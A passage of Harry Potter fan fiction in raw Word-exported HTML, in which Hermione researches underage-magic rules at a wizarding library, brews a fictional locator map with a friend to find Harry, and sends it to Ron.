class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a\npinch of floo powder and threw it in the dead fireplace.&nbsp; Instantly a fire sprung to life. &#8220;Thank you\nso much!&nbsp; I&#8217;ll be back in a few hours; is\nthat okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Mandy\nnodded immediately. &#8220;It&#8217;s fine.&nbsp; Take\nyour time.&nbsp; Anything to help.&#8221;</p>\n\n<p class="MsoNormal">Hermione stepped quickly into the fire.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She waved\ngoodbye, shouted, &#8220;National Wizarding Library!&#8221; and was gone.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Brocklehurst\nappeared from the kitchen. &#8220;Mandy, did I just hear Hermione in here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, but she had\nto leave real quick.&nbsp; I think she&#8217;s going\nto save the world or something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s nice\ndear.&#8221; Mandy&#8217;s mother said, returning to the kitchen without another word.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The National Wizarding\nLibrary was, in Hermione&#8217;s opinion, the nirvana of libraries.&nbsp; There were books as far as the eye could see\non every imaginable topic.&nbsp; It was\nmassive, and yet extremely organized.&nbsp; It\nwas as if the books were enchanted to magically move to the location of the\nperson that was looking for them.&nbsp; The\nDewey Decimal System had nothing on this wizarding form of cataloging.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But there was\nmore to the giant library then just the books.&nbsp;\nOn the first floor, there were a large assortment of merchants selling a\nvariety of food and a bookstore that not only had thousands of books but also\nwas capable of ordering almost any book that was in the library itself.&nbsp; Part of the seventh floor had sleeping\nquarters reserved for VIP witches and wizards who couldn&#8217;t be bothered with\nleaving the library when it was closed.&nbsp;\nOn the fifth floor, there was a coffee shop and dozens of plush couches\nand chairs, which was a welcome change from the hard wood chairs and tables\nthat populated the rest of the library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione knew\nthat she would have thoroughly enjoy spending all day at the library if it had\nbeen under different circumstances.&nbsp; As\nit was, she sat at a large table with at least 3 dozen books in front her with\nnames like &#8220;Muggle tricks for Magical Sorts,&#8221; and &#8220;Everyday Magic for the Wand\nChallenge&#8221; and &#8220;What to do When You Can&#8217;t Find Your Wand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She barely had to\nmove from the section she was in, because no matter what topic she was looking\nfor, it all seemed to be right in front of her.&nbsp;\nUnfortunately, she still hadn&#8217;t found any of the answers she needed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then suddenly, a\nlibrarian walked by her and placed a book on top of the one she was reading.\n&#8220;Here dear, I think you&#8217;ll want this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup in shock and confusion but before she could say anything, the librarian was\ngone.&nbsp; The book she&#8217;d given her was &#8220;The\nUnderage Wizard&#8217;s Guide to Acceptable Magic:&nbsp;\nA Complete Breakdown of the Ministry of Magic&#8217;s Underage Wizarding\nStatutes and Guidelines&#8221; by Angelina Regularum.&nbsp;\nShe began flipping through the book and realized this had been exactly\nwhat she was looking for.&nbsp; Hermione\nlooked all around for the librarian who had helped her, but she was nowhere to\nbe seen.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well&#8230; thanks,&#8221;\nshe muttered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The Underage\nWizard&#8217;s Guide to Acceptable Magic&#8221; turned out to be a very interesting and\ninformative. </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;The assumption that underage wizards\nare not allowed to use any magic when away from their wizarding institutions is\nsomewhat of a misconception. &nbsp;The\nMinistry of Magic is more concerned with underage wizards using their wands or\nbrewing potions while not under the supervision of fully qualified wizards who\nare licensed professors.&nbsp; There have been\nmany situations over the past century alone that have proven why this is\nnecessary; many of which are outlined in chapter 17.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">However there are many exceptions to\nthis rule.&nbsp; First of all, the prohibition\nof using wands does not extend to the use of magical objects, pets, and transportation,\nexcept for apparition.&nbsp; As long as use of\nsuch magic is not in view of muggles, it is completely acceptable for underage\nwizards to use.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">In addition, underage wizards are\nallowed to use their wands when they are 1) under the supervision of a\nqualified professor, or high ranking ministry official 2) in ministry\nsanctioned &#8220;safe&#8221; places such as Diagon Alley and Hogsmeade and 3) in extreme\ncircumstances such as when they are in danger of being exposed by muggles, are\nlost, or in mortal peril.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">The Ministry of Magic closely monitors\nunderage wizards during holidays and if an infraction of the wand restriction\nregulation is detected, an investigation is launched immediately.&nbsp; Although each infraction is handled on a case\nby case basis, it is not uncommon for underage wizards to be expelled the first\ntime they use their wand in an unauthorized manner.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What I need,&#8221;\nshe muttered to herself after reading this section, &#8220;is some sort of magical\nobject that can tell me where Harry is.&nbsp;\nThat wouldn&#8217;t be against the rules.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione spun\naround to address the familiar voice.&nbsp; It\nwas Amber. &#8220;Uh, hi.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\ndoing here?&#8221; Amber asked as she put down the stack of books she was carrying.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m, um, doing\nsome research,&#8221; Hermione said vaguely. &#8220;What are you doing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I work here,&#8221;\nAmber admitted. &#8220;Sort of a temporary thing until I start my real job.&nbsp; What are you researching; maybe I can help?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nhesitated. &#8220;Well, it&#8217;s kind of hard to explain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, I wasn&#8217;t\nhead girl for nothing.&nbsp; Trust me, I can\nhelp.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright,&#8221;\nHermione sighed. &#8220;Well it&#8217;s like this&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nexplained everything to Amber about why she and Ron were worried about Harry\nexcept the part about her brief vision at Pansy&#8217;s slumber party.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So your friend\nRon wants to find Harry?&#8221; Amber summarized when Hermione was done with her\nstory. &#8220;I guess I don&#8217;t blame you.&nbsp; Well\nit sounds like you need a locator map.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I need the\nEncyclopedia of Magical Objects,&#8221; Amber said more to herself than to Hermione.</p>\n\n<p class="MsoNormal">A huge book, twice the size of &#8220;Hogwarts: A History,&#8221;\ndropped on the table in front of Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love this\nplace,&#8221; Amber grinned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I could\ncertainly get used to this.&#8221; Hermione agreed as Amber flipped through the\nEncyclopedia of Magical Objects to the page she was looking for.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here, read\nthis,&#8221; Amber said pushing the book under Hermione&#8217;s nose.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;The Locator Map is extremely common\namong magical maps.&nbsp; It&#8217;s enchanted to be\nable to plot the location of any person, magical or not.&nbsp; Very few spells can stop a locator map from\nplotting a person because of the way it&#8217;s designed.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">To use a locator map requires a\npersonal artifact of the person you&#8217;re looking for, a piece of clothing or\nsomething they often carry with them.&nbsp; It\nalso requires the willingness of the person you&#8217;re looking for to want to be\nfound by you.&nbsp; If they don&#8217;t want you to\nfind them, then the locator map won&#8217;t be able to plot them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nin understanding. &#8220;It sounds right.&nbsp;\nWhere can I buy one?&nbsp; Are they\nexpensive?&#8221;&nbsp; Hermione suddenly remember\nthat she didn&#8217;t have any money with her.</p>\n\n<p class="MsoNormal">But Amber only laughed as she pulled out her wand. &#8220;Buy\none?&nbsp; Hermione don&#8217;t think like a\nmuggle.&nbsp; We&#8217;re going to make one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We are?&#8221;\nHermione asked as she followed Amber away from the table full of books.&nbsp; She checked her watch.&nbsp; It was already 4:00 PM.&nbsp; She only had a couple hours to make it back\nhome.  &#8220;Does it take long to make?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For us?&nbsp; Naw!&#8221; Amber said confidently.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Something about\nAmber&#8217;s cocky attitude made Hermione slightly nervous but she followed her\nnonetheless.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Making a locator\nmap required a potion, one that Amber seemed to have stored in her memory.&nbsp; They used a vacant potions lab in the back of\nthe library that had various sized cauldrons and dozens of different potions\ningredients.&nbsp; The duo was able to prepare\nthe potion without any complications.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just hope this\nworks,&#8221; Hermione said as she stirred the concoction.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No reason to\nthink it won&#8217;t,&#8221; Amber said with a shrug. &#8220;You&#8217;re not loosing faith in your\npotion making skills are you?&nbsp; Not may\npeople can score top marks in Snape&#8217;s class, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah but last\ntime I tried to help Harry with a potion&#8230; well let&#8217;s just say it didn&#8217;t go to\nwell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I haven&#8217;t\nmessed up one yet, and I don&#8217;t intend to make this my first, so don&#8217;t worry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The liquid in the\ncauldron was turning a pale blue. &#8220;I think it&#8217;s almost ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber looked\ndown. &#8220;You&#8217;re right.&nbsp; Hang on a bit.&nbsp; I&#8217;ll be right back, just keep stirring.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber disappeared\nthrough the double doors leading back to the main library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few minutes\nlater she returned with a large, folded map. &#8220;Here we go; a map of\nBritain.&nbsp; All we need to do is dunk this\nin the potion and it will become a locator map.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Without preamble,\nAmber plunged the map into the cauldron and quickly brought it back up.&nbsp; Hermione expected it to be drenched, but to\nher surprise, it was still completely dry and glowing bright blue.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that seemed\nto be a little too easy.&nbsp; How do we know\nit worked?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Give me your\nhouse key and I&#8217;ll show you,&#8221; Amber instructed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione handed\nover her key as Amber unfolded the map onto the floor.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Remember, you\nhave to want to be found,&#8221; Amber reminded her.&nbsp;\nShe placed the key on top of the map and said, &#8220;Seekium Hermione\nGranger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly the map sprung\nto life.&nbsp; All the text and landmarks were\nmoving and expanding until suddenly the map of Britain was now just a map of\nLondon.&nbsp; It looked similar to the map in\nthe Ministry of Magic pamphlet.&nbsp; A yellow\ndot appeared on the map.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See that&#8217;s you.&#8221;\nAmber said with a smile.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wicked,&#8221;\nHermione said as Amber folded up the map. &#8220;I just hope&#8230; I hope it works with\nHarry.&nbsp; I&#8217;m not sure if Ron has anything\npersonal of his and what if it still doesn&#8217;t work.&nbsp; Like you said, Harry has to want to be\nfound.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If he is in some\nsort of trouble, I&#8217;m sure he&#8217;ll want to be found by his two best friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione checked\nher watch again. &#8220;I&#8217;ve got to hurry back before my parents get home.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber gave her a\nknowing look. &#8220;I see.&#8221;&nbsp; She handed the\nmap to Hermione. &#8220;Well good luck.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for\neverything.&#8221; Hermione shoved the map in her backpack and hurried out the door.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Brocklehurst\nwas already home when Hermione reappeared in the fireplace and he insisted on\ndriving Hermione home.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Getting out of\nTurnkey Lane is a little tricky.&nbsp; I&#8217;d\nhate to see you get lost.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione happily\nagreed to the lift home and made it back in plenty of time to beat her\nparents.&nbsp; She ran up to her room and\nrummaged through her desk to find her last wizarding stamp.&nbsp; She had already gone through all of them and\nthere was still almost a month of summer left.&nbsp;\nStill there was no other choice if she was going to get the map to\nRon.&nbsp; She wrote him a quick note.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;Ron,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">This is a locator map.&nbsp; You can use it to find out exactly where\nHarry is as long as you have something personal of his.&nbsp; To use it, just place Harry&#8217;s item on the map\nand say the magic words &#8216;Seekium Harry Potter.&#8217;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">I know you&#8217;re just as worried about\nHarry as I am but I really don&#8217;t think it&#8217;s a good idea for you and your\nbrothers to go off to get him by yourselves.&nbsp;\nKnowing Fred and George, this can only mean trouble.&nbsp; But if you&#8217;re going to go, good luck, and\ndon&#8217;t do anything that will get Harry in any more trouble.&nbsp; Please let me know when you&#8217;re going to go\ntry and get him.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Hermione</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">P. S. - Please don&#8217;t tell anyone where\nyou got this map from, not even Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nthat last line over.&nbsp; She decided it was\nbest not to try to explain to Ron why she didn&#8217;t want Harry to know that she\nmade the map.&nbsp; It was best to let him\nthink that she didn&#8217;t want to get in some sort of trouble.&nbsp; In reality, she just didn&#8217;t want Harry to\nknow how worried she really was about him.&nbsp;\nShe was sure whatever the reason, Ron wouldn&#8217;t object to taking all the\ncredit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; By the time her\nparents arrived home, the owl responding to her wizard stamp had already come\nand gone.&nbsp; Now all she could do was wait.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nhave too long to wait.&nbsp; On Friday, the\nfamiliar grey owl, Erroll arrived.&nbsp; This\ntime, it looked as if the owl had collapsed along the way because another,\nunfamiliar owl was actually carrying him.&nbsp;\nIt dropped Erroll on the window sill and flew off without a backwards\nglance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why Ron keeps\nusing you is a mystery,&#8221; Hermione huffed as Erroll fell face first on the\nsofa.&nbsp; She snatched the letter from his\nclaws and hurriedly opened it.&nbsp;\nApparently Ron had written it the day after she wrote him.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Thanks for the map.&nbsp; Fortunately Scabbers still had an old sock of\nHarry&#8217;s that he&#8217;d ruined ages ago.&nbsp; We\nused that to plot where he is.&nbsp; Fred,\nGeorge, and I are going to go get him tonight.&nbsp;\nWish us luck.&nbsp; I&#8217;ll write you\nagain as soon as Erroll gets back with your reply.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Ron&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took one\nlook at Erroll and knew he wasn&#8217;t going to be fit to fly for a day or two.&nbsp; She didn&#8217;t have any more stamps so she&#8217;d just\nhave to wait to send her reply.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In the meantime, Hermione\nhad other things to keep her occupied.&nbsp;\nShe had started on the large list of research topics that McGonagall had\nsent her earlier that summer.&nbsp; Studying\nseemed to take her mind off of Harry, for a while at least, and she figured it\nwas better to be doing that, than worrying.&nbsp;\nRon and his brothers had already gone to get Harry and so there was\nnothing more she could do.&nbsp; Either they\nwere successful and Harry was not sitting at Ron&#8217;s, perfectly content, or\nthey&#8217;d failed and Harry was still in trouble.&nbsp;\nIn either case, she&#8217;d done everything she could to help and it was best\nto find out what had happened before she started worrying again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sunday morning,\nwhen Hermione arrived in the kitchen for breakfast, her mother handed her a\nletter. &#8220;This just came for you.&nbsp; I think\nit&#8217;s from Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, who had\nbeen only half awake until then, suddenly sprung to life, looking wildly\naround. &#8220;Is the post owl still here?&#8221; she asked hoping she could persuade it to\ndeliver her note to Ron.&nbsp; Erroll still\nhadn&#8217;t recovered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, it left a\nfew minutes ago.&nbsp; Something wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nanswered quietly. She hadn&#8217;t told her parents what Ron and his brothers were\ngoing to do.&nbsp; She knew, no matter how\nmuch they disapproved of the Dursleys, they wouldn&#8217;t relish the idea of three\nunderaged boys planning a rescue operation, or what she had done to aid\nthem.&nbsp; As she opened the letter from\nHogwarts, she wondered vaguely why she didn&#8217;t feel more guilty about all of the\nsecrets she was keeping from her parents.&nbsp;\nA year ago, this sort of thing would be tearing her up inside.&nbsp; But now it seemed as though keeping them in\nthe dark was business as usual.&nbsp; She kept\ntelling herself it was because they were muggles and they wouldn&#8217;t understand,\nbut somehow she knew that wasn&#8217;t entirely the case.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The letter turned\nout to be from Professor McGonagall asking her how she was doing with the extra\nresearch she had assigned and also informing her that the book list had finally\nbeen compiled and she was forwarding this to her as well.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione scanned\nthe list of books and noticed something extremely odd.&nbsp; Aside from &#8220;The Standard Book of Spells:\nGrade 2&#8221; all of the books on the list were by her new idle, Gilderoy\nLockhart.&nbsp; What an odd coincidence.&nbsp; Now she&#8217;d be able to get her parents to get\nall of his books for her without any problems.&nbsp;\nAfter all, this was for her education.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well there must\nbe something interesting in that letter to make you turn red,&#8221; Mr. Granger said\ninterrupting her thoughts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to\ncompose herself. &#8220;Oh&#8230; um&#8230; Professor McGonagall said she&#8217;d be sending an owl\nlater this month to collect all the work I&#8217;ve done this summer.&nbsp; She said since I was the only student trying\nto further my education over the holidays, she&#8217;d give me some extra credit and\npossibly some points to Gryffindor for my commitment to education.&#8221;&nbsp; She handed her father the letter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well,&#8221; her\nfather said, eyeing the piece of parchment. &#8220;You&#8217;d better get cracking\nthen.&nbsp; You don&#8217;t want to disappoint your\nprofessor now do you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m about halfway\ndone with the work.&nbsp; It should only take\nme a couple of weeks to finish.&nbsp; Plenty\nof time.&nbsp; I know you think I&#8217;ve been\nslack this summer but I promise I&#8217;ll make it up to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, you&#8217;re\nyoung,&#8221; her mother said soothingly. &#8220;You deserve a chance to enjoy your life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So long as you\nkeep up your studies,&#8221; Mr. Granger added sharply.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost\nlaughed.&nbsp; Listening to her parents was\nalways like being pulled in two different directions.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now that we have\nyour school list, we should plan a trip to the market.&#8221; Mrs. Granger said.&nbsp; The &#8220;market&#8221; was what she called Diagon\nAlley, because she could never remember the name.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d better not\ngo on the weekend, it&#8217;ll be crowded just like last time if all the students\nhave gotten they&#8217;re school lists,&#8221; Mr. Granger pointed out.&nbsp; &#8220;I tell you what.&nbsp; It&#8217;s been slow this month; we&#8217;ll take next\nWednesday off and go then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s a nice\nidea,&#8221; Hermione&#8217;s mother agreed. &#8220;Hermione, why don&#8217;t you write your friends,\nRon and Harry and see if they&#8217;d like to meet you at the same time to get their\nbooks.&nbsp; That way you&#8217;d get to see them at\nleast once before school started.&nbsp;&nbsp; I\nknow you&#8217;re disappointed that you didn&#8217;t get to see them on Harry&#8217;s birthday.&nbsp; What exactly happened anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, just some\ncommunication problems,&#8221; Hermione said vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She saw that her\nmother was giving her the &#8220;I know you&#8217;re not telling me the whole truth&#8221; look,\nso she avoided her glare hoping the subject would just drop.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fortunately for\nher, Mr. Granger started going on about what exciting things Hermione would be\nable to learn her second year and Hermione was able to quietly eat her\nbreakfast as her father continued to ramble on and on.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And to think how\nmuch more you&#8217;ll be able to focus on your studies now that you don&#8217;t have dark\nlords and what-have-you to worry about.&nbsp;\nIf you were able to do all that and still be top of your class last\nyear, just imagine the possibilities this year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was at this\npoint that Hermione decided to excuse herself from the breakfast table and\nreturn to her room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If only her\nfather knew what she was going through now.&nbsp;\nShe didn&#8217;t think she&#8217;d ever be able to concentrate on studies again if\nshe found out something horrible had happened to Harry over the summer and she\nhadn&#8217;t been able to do anything about it.&nbsp;\nAs she pushed open the door to her room, she saw that Erroll was awake\nand looking ready to fly again.&nbsp; Finally,\nshe&#8217;d be able to send her reply to Ron.&nbsp;\nShe had already started the letter but added a few extra things about\nmeeting in Diagon Alley on the following Wednesday.&nbsp; She only hoped that Erroll would make it back\nbefore then.&nbsp; The way he flew, there was\nno telling.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched\nlistlessly as Erroll flew off into the morning sky and silently prayed that he\nwould return quickly with good news from Ron.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unfortunately no\nnews 